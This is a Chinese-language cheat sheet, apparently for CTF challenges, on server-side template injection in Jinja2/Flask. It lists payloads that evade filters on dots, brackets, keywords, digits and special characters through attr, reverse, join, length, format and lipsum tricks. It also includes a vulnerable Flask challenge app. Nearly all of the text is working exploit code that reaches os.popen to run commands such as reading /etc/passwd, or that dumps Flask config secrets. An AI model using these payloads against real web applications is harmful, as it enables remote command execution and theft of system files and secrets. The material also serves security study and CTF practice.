{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /etc/passwd').read() }}

点过滤

中括号

如果题目过滤了 . 可以使用中括号进行代替。

1
2
3
4
5
# 原始 PAYLOAD
{{ ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read() }}

# 绕过WAF之后的
{{ ''['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /etc/passwd')['read']() }}

attr

PAYLOAD 语句中不会用到点和中括号

1
2
3
4
5
# 原始 PAYLOAD
{{ ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read() }}

# 绕过 WAF 之后的
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /etc/passwd')|attr('read')() }}

关键字过滤

拼接绕过

  1. 假设 class 关键字别过滤
1
2
3
4
5
# 原始 PAYLOAD
{{ ''.__class__ }}

# 绕过WAF之后的
{{ ''['__cla' + 'ss__'] }}
  1. 如果过滤了加号,则将两个字符串放在一起也可以达到拼接的效果:
1
{{ ''['__cla''ss__'] }}
  1. 使用 jingja2 的 ~ 号拼接:
1
2
3
4
5
# 原始PAYLOAD: 假设 class 和 base 被过滤
{{ ().__class__.__base__ }}

# 绕过 WAF 之后的
{% set a='__cla' %}{% set b='ss__' %}{% set c='__ba' %}{% set d='se__' %} {{ ()[a~b][c~d] }}
  1. 使用 getattribute() + 字符串拼接绕过
1
2
3
4
5
6
# 原始PAYLOAD: 假设 __globals__ 被过滤
{{ [].__class__.__base__.__subclasses__()[117].__init__.__getattribute__('__glo'+'bals__') }}

# 绕过 WAF 之后的

{{ [].__class__.__base__.__subclasses__()[117].__init__.__getattribute__('__glo'+'bals__') }}

过滤器 reverse 绕过

使用过滤器绕过,比如使用 reverse 反转字符串的过滤器:

1
2
3
4
5
# 原始PAYLOAD: 假设 class 和 base 被过滤
{{ ().__class__.__base__ }}

# 绕过 WAF 之后的
{% set a = "__ssalc__"|reverse %} {% set b = "__esab__"|reverse %} {{ ()[a][b] }}

过滤器 join 绕过

1
2
3
4
# 原始PAYLOAD: 假设 class 和 base 被过滤
{{ ().__class__.__base__ }}
# 绕过 WAF 之后的
{% set a=dict(__cl=1, ass__=2)|join %} {% set b=dict(__ba=1, se__=2)|join %} {{ ()[a][b] }}

数字过滤

当数字被过滤时,可以使用过滤器 length 计算字符串的长度

1
2
3
4
5
# 原始PAYLOAD: 假设 class 和 base 被过滤
().__class__.__base__.__subclasses__()[117]

# 绕过 WAF 之后的
{% set a='aaa'|length * 39 %} {{ a }} {{ ().__class__.__base__.__subclasses__()[a] }}

config 过滤

有些时候 FLAG 放在 Flask 配置当中,故而我们就需要调用 config 文件的内容,但是如果这个时候 config 被过滤了,我们又该何去何从?

1
2
3
4
5
6
7
8
# 直接调用 
{{ config }}

# 通过 url_for
{{ url_for.__globals__['current_app'].config }}

# 通过 get_flashed_messages
{{ get_flashed_messages.__globals__['current_app'].config }}

特殊字符过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
# python3 
{% set a=(lipsum|string|list) %}{{a}}
# ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '2', '9', '4', 'b', 'e', '4', 'b', '0', '4', '8', '>']

# 获取<
{% set a=(lipsum|string|list) %}{{a[0]}}

# 获取空格
{% set a=(lipsum|string|list) %}{{a[9]}}

# 获取_
{% set a=(lipsum|string|list) %}{{a[18]}}

format 过滤器的使用

1
2
3
4
5
# 原始 PAYLOAD:
{{ ().__class__ }}

# 使用 format 格式化之后的
{{ ()|attr(request.form.f|format(request.form.a,request.form.a,request.form.a,request.form.a)) }}&f=%s%sclass%s%s&a=_

alt text

混合过滤-1

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, render_template, render_template_string, request

app = Flask(__name__)
@app.route("/")
def index():
if not request.args.get("name"):
return open(__file__).read()
name = request.args.get("name")
for evil in ['.', '[', '__class__', '__subclasses__', '__globals__']:
if evil in name:
return "evlil: " + evil
template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>title</title>
<body>
<p> Hello, %s </p>
</body>
</head>
</html>
""" %(name)
return render_template_string(template)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, debug=False)

过滤了: .[__class____subclasses____globals__

PAYLOAD 如下:

1
{{ x1ong|attr("__cla" + "ss__")|attr("__ba" + "se__")|attr("__subcla" + "sses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__glo" + "bals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")("cat /etc/passwd")|attr("read")()}}

alt text

混合过滤-2

过滤内容: ', ", +, request, ., [, ]

PAYLAOD 如下:

1
2
3
4
5
6
7
8
9
10
11
{% set cl=dict(__class__=a)|join %} 
{% set ba=dict(__base__=a)|join %}
{% set sub=dict(__subclasses__=a)|join %}
{% set get=dict(__getitem__=a)|join %}
{% set init1=dict(__init__=a)|join %}
{% set gl=dict(__globals__=a)|join %}
{% set po=dict(popen=a)|join %}
{% set space=(lipsum|string|list)|attr(get)(9) %}
{% set cat=(dict(cat=a)|join,space,dict(flag=a)|join)|join %}
{% set re=dict(read=a)|join %}
{{ ()|attr(cl)|attr(ba)|attr(sub)()|attr(get)(117)|attr(init1)|attr(gl)|attr(get)(po)(cat)|attr(re)()}}

alt text